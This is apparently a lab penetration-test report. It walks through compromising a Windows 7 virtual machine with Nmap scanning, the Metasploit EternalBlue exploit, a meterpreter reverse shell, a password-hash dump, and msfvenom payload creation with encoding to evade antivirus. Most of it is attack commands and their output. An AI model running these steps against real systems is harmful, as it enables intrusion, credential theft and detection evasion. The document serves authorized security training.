

Ethical Hacking Project Documentation:

Gaining Access to Windows 7 Target

Table of Contents

Project overview.....	2
Environmental setup	2
Project objectives	2
Task 1 – information Gathering.....	3
1.1 Initial network scanning	3
1.2 Service Enumeration	4
Task 2 – Payload creation.....	5
2.1 Starting Metasploit.....	5
2.2 Selecting appropriate exploit	6
2.3 payload configuration	6
2.4 exploit proof	7
Task 3 – Payload Encryption.....	8
3.1 creating payload	8
3.2 encrypting payload	8
Task 4 – Gaining system Access	9
Security considerations.....	9
Remediation recommendations	9
Appendix	10
References	10

Project overview

This project outlines the ethical hacking methodology used to assess and gain access to a windows 7 target system as part of authorized penetration testing exercise.

Environmental setup

Attacker Machine	Target Machine	Network	Authorization
Kali Linux	Windows 7	Vmware NAT network	Full permission granted for testing
10.10.10.130	10.10.10.138		

Project objectives

1. Information gathering using network and host reconnaissance
2. Payload creation for exploitation
3. Payload encryption to evade detection
4. Gaining system Access

Task 1 – information Gathering

Network and host-based Reconnaissance

1.1 Initial network scanning

Tool - Nmap

Technique - Host Discovery, open port information gathering

```
(kali㉿kali)-[~]  
$ nmap -sn 10.10.10.0/24  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-11 23:53 EST  
Nmap scan report for 10.10.10.1  
Host is up (0.0014s latency).  
MAC Address: 00:50:56:C0:00:08 (VMware)  
Nmap scan report for 10.10.10.2  
Host is up (0.0062s latency).  
MAC Address: 00:50:56:EB:CF:BC (VMware)  
Nmap scan report for 10.10.10.138  
Host is up (0.0053s latency).  
MAC Address: 00:0C:29:0A:8E:61 (VMware)  
Nmap scan report for 10.10.10.254  
Host is up (0.00025s latency).  
MAC Address: 00:50:56:E0:5C:67 (VMware)  
Nmap scan report for 10.10.10.130  
Host is up.  
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.05 seconds
```

```
(kali㉿kali)-[~]  
$ nmap -A -p- 10.10.10.138 --min-rate 1000  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-12 01:05 EST  
Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan  
SYN Stealth Scan Timing: About 1.07% done; ETC: 01:08 (0:03:04 remaining)  
Stats: 0:02:26 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan  
Service scan Timing: About 0.00% done  
Nmap scan report for 10.10.10.138  
Host is up (0.00082s latency).  
Not shown: 65528 filtered tcp ports (no-response)  
PORT      STATE SERVICE      VERSION  
135/tcp   open  msrpc        Microsoft Windows RPC  
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn  
445/tcp   open  microsoft-ds  Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)  
49153/tcp open  msrpc        Microsoft Windows RPC  
49154/tcp open  msrpc        Microsoft Windows RPC  
49155/tcp open  msrpc        Microsoft Windows RPC  
49158/tcp open  msrpc        Microsoft Windows RPC  
MAC Address: 00:0C:29:0A:8E:61 (VMware)  
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port  
Device type: specialized|phone  
Running: Microsoft Windows 7|Phone  
OS CPE: cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows  
OS details: Microsoft Windows Embedded Standard 7, Microsoft Windows Phone 7.5 or 8.0  
Network Distance: 1 hop  
Service Info: Host: WIN-G7757KMM29H; OS: Windows; CPE: cpe:/o:microsoft:windows
```

1.2 Service Enumeration

Technique - Nmap script scan, Nmap port-based scan, Nmap service scan, Nmap discovery scan

```
Host script results:
| smb2-security-mode:
|   2:1:0:
|_  Message signing enabled but not required
|_ nbstat: NetBIOS name: WIN-G7757KMM29H, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:0a:8e:61 (VMware)
| smb2-time:
|   date: 2024-12-12T06:08:38
|_  start_date: 2024-12-12T04:59:53
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_ clock-skew: mean: -1h49m59s, deviation: 3h10m31s, median: 0s
| smb-os-discovery:
|   OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1
|   Computer name: WIN-G7757KMM29H
|   NetBIOS computer name: WIN-G7757KMM29H\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-12-12T11:38:38+05:30

TRACEROUTE
HOP RTT ADDRESS
1 0.82 ms 10.10.10.138

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 240.55 seconds
```

```
(kali㉿kali)-[~]
$ nmap --script vuln 10.10.10.138
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-12 06:07 EST
Nmap scan report for 10.10.10.138
Host is up (0.0018s latency).
Not shown: 993 filtered tcp ports (no-response)
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
49153/tcp  open  unknown
49154/tcp  open  unknown
49155/tcp  open  unknown
49158/tcp  open  unknown
MAC Address: 00:0C:29:0A:8E:61 (VMware)

Host script results:
|_ smb-vuln-ms10-054: false
|_ samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_ smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
|_ smb-vuln-ms17-010:
|   VULNERABLE:
|     Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|       State: VULNERABLE
|       IDs: CVE:CVE-2017-0143
|       Risk factor: HIGH
|         A critical remote code execution vulnerability exists in Microsoft SMBv1
|         servers (ms17-010).
|
|   Disclosure date: 2017-03-14
|   References:
|     https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|     https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_   https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

Nmap done: 1 IP address (1 host up) scanned in 84.67 seconds
```

Task 2 – Payload creation

Using Metasploit Framework

2.1 Starting Metasploit

```
(kali㉿kali)-[~]  
$ msfconsole  
Metasploit tip: Tired of setting RHOSTS for modules? Try globally setting it  
with setg RHOSTS x.x.x.x
```



```
      =[ metasploit v6.4.34-dev ]  
+ -- --=[ 2461 exploits - 1267 auxiliary - 431 post ]  
+ -- --=[ 1468 payloads - 49 encoders - 11 nops ]  
+ -- --=[ 9 evasion ]  
  
Metasploit Documentation: https://docs.metasploit.com/  
msf6 > |
```

2.2 Selecting appropriate exploit

```
msf6 > search eternalblue

Matching Modules
=====
#    Name                                     Disclosure Date   Rank    Check  Description
-    -
0    exploit/windows/smb/ms17_010_eternalblue 2017-03-14       average Yes     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1    \_ target: Automatic Target               .                .       .
2    \_ target: Windows 7                     .                .       .
3    \_ target: Windows Embedded Standard 7   .                .       .
4    \_ target: Windows Server 2008 R2        .                .       .
5    \_ target: Windows 8                     .                .       .
6    \_ target: Windows 8.1                   .                .       .
7    \_ target: Windows Server 2012           .                .       .
8    \_ target: Windows 10 Pro                 .                .       .
9    \_ target: Windows 10 Enterprise Evaluation .                .       .
10   exploit/windows/smb/ms17_010_psexec      2017-03-14       normal  Yes     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
11   \_ target: Automatic                     .                .       .
12   \_ target: PowerShell                    .                .       .
13   \_ target: Native upload                  .                .       .
14   \_ target: MOF upload                     .                .       .
15   \_ AKA: ETERNALSYNERGY                   .                .       .
16   \_ AKA: ETERNALROMANCE                   .                .       .
17   \_ AKA: ETERNALCHAMPION                  .                .       .
18   \_ AKA: ETERNALBLUE                      .                .       .
19   auxiliary/admin/smb/ms17_010_command     2017-03-14       normal  No      MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
20   \_ AKA: ETERNALSYNERGY                   .                .       .
21   \_ AKA: ETERNALROMANCE                   .                .       .
22   \_ AKA: ETERNALCHAMPION                  .                .       .
23   \_ AKA: ETERNALBLUE                      .                .       .
24   auxiliary/scanner/smb/smb_ms17_010      .                normal  No      MS17-010 SMB RCE Detection
25   \_ AKA: DOUBLEPULSAR                     .                .       .
26   \_ AKA: ETERNALBLUE                      .                .       .
27   exploit/windows/smb/smb_doublepulsar_rce 2017-04-14       great   Yes     SMB DOUBLEPULSAR Remote Code Execution
28   \_ target: Execute payload (x64)         .                .       .
29   \_ target: Neutralize implant             .                .       .

Interact with a module by name or index. For example info 29, use 29 or use exploit/windows/smb/smb_doublepulsar_rce
After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'

msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > |
```

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name          Current Setting  Required  Description
-----
RHOSTS        10.10.10.138    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT         445             yes       The target port (TCP)
SMBDomain     .               no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass       .               no        (Optional) The password for the specified username
SMBUser       .               no        (Optional) The username to authenticate as
VERIFY_ARCH   true            yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET true            yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
```

2.3 payload configuration

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.138
RHOSTS => 10.10.10.138
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name          Current Setting  Required  Description
-----
RHOSTS        10.10.10.138    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT         445             yes       The target port (TCP)
SMBDomain     .               no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass       .               no        (Optional) The password for the specified username
SMBUser       .               no        (Optional) The username to authenticate as
VERIFY_ARCH   true            yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET true            yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

Payload options (windows/x64/meterpreter/reverse_tcp):

Name          Current Setting  Required  Description
-----
EXITFUNC      thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST         10.10.10.130    yes       The listen address (an interface may be specified)
LPORT         4444            yes       The listen port

Exploit target:

Id  Name
--  -
0   Automatic Target

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) > |
```

2.4 exploit proof

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 10.10.10.130:4444
[*] 10.10.10.138:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.138:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.138:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.10.138:445 - The target is vulnerable.
[*] 10.10.10.138:445 - Connecting to target for exploitation.
[+] 10.10.10.138:445 - Connection established for exploitation.
[+] 10.10.10.138:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.138:445 - CORE raw buffer dump (38 bytes)
[*] 10.10.10.138:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
[*] 10.10.10.138:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service
[*] 10.10.10.138:445 - 0x00000020 50 61 63 6b 20 31 Pack 1
[+] 10.10.10.138:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.138:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.138:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.138:445 - Starting non-paged pool grooming
[+] 10.10.10.138:445 - Sending SMBv2 buffers
[+] 10.10.10.138:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.138:445 - Sending final SMBv2 buffers.
[*] 10.10.10.138:445 - Sending last fragment of exploit packet!
[*] 10.10.10.138:445 - Receiving response from exploit packet
[+] 10.10.10.138:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.138:445 - Sending egg to corrupted connection.
[*] 10.10.10.138:445 - Triggering free of corrupted buffer.
[*] Sending stage (203846 bytes) to 10.10.10.138
[*] Meterpreter session 1 opened (10.10.10.130:4444 -> 10.10.10.138:49159) at 2024-12-12 10:59:42 -0500
[+] 10.10.10.138:445 - =====
[+] 10.10.10.138:445 - =====WIN=====
[+] 10.10.10.138:445 - =====

meterpreter > ifconfig
```

```
meterpreter > sysinfo
Computer      : WIN-G7757KMM29H
OS            : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain        : WORKGROUP
Logged On Users : 2
Meterpreter   : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getprivs

Enabled Process Privileges
=====

Name
----
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeChangeNotifyPrivilege
SeImpersonatePrivilege
SeTcbPrivilege

meterpreter > getsys
[-] Unknown command: getsys. Did you mean getsid? Run the help command for more details.
meterpreter > getsystem
[-] Already running as SYSTEM
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Yuvan:1000:aad3b435b51404eeaad3b435b51404ee:3e55f3329fa8012f2d74f036f67743f7:::
meterpreter > |
```

Task 3 – Payload Encryption

3.1 creating payload

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.130 LPORT=4444 -f exe > payload.exe
[*] exec: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.130 LPORT=4444 -f exe > payload.exe

Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
msf6 exploit(windows/smb/ms17_010_eternalblue) > ls
[*] exec: ls

Desktop Documents Downloads Music payload.exe Pictures Public Templates Videos
msf6 exploit(windows/smb/ms17_010_eternalblue) > |
```

3.2 encrypting payload

```
(kali㉿kali)-[~]
$ msfvenom -x payload.exe -e x86/shikata_ga_nai -i 10 -f exe -o encode-payload.exe -a x64 --platform windows
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 10 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 27 (iteration=0)
x86/shikata_ga_nai succeeded with size 54 (iteration=1)
x86/shikata_ga_nai succeeded with size 81 (iteration=2)
x86/shikata_ga_nai succeeded with size 108 (iteration=3)
x86/shikata_ga_nai succeeded with size 135 (iteration=4)
x86/shikata_ga_nai succeeded with size 162 (iteration=5)
x86/shikata_ga_nai succeeded with size 189 (iteration=6)
x86/shikata_ga_nai succeeded with size 216 (iteration=7)
x86/shikata_ga_nai succeeded with size 243 (iteration=8)
x86/shikata_ga_nai succeeded with size 270 (iteration=9)
x86/shikata_ga_nai chosen with final size 270
Payload size: 270 bytes
Final size of exe file: 75264 bytes
Saved as: encode-payload.exe
```


Task 4 – Gaining system Access

```
meterpreter > shell
Process 2512 created.
Channel 2 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>netusers
netusers
'netusers' is not recognized as an internal or external command,
operable program or batch file.

C:\Windows\system32>net users
net users

User accounts for \\

-----
Administrator          Guest                  Yuvan
The command completed with one or more errors.

C:\Windows\system32>|
```

Security considerations

All tests performed with authorized scope.

Data handling follows security protocols.

System restored to original state after testing.

Findings documented for remediation.

Remediation recommendations

Upgrading to latest windows version.

Implement proper firewall rules.

Regular security assessment.

Network segmentation.

Strong access controls.

Appendix

- A aggressive scan
- p- all ports scan
- min-rate 1000 scanning the target with 1000 requests per second min
- O OS scan
- sV version scan

References

Metasploit documentation

Nmap manual

Meterpreter framework

Windows best practices